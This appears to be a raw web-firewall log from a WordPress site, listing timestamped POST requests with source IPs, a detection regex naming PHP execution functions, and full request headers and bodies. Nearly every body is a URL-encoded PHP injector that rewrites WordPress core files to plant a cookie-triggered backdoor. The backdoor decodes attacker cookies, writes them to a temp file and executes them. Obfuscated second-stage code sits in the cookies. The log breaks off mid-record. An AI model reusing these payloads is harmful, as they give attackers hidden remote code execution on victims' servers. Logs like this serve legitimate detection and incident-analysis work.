IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\ncontent-length:4418\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:48:42","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4366\nsec-fetch-dest:document\n\nPW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:49:12","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4366\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nhB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:49:15","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528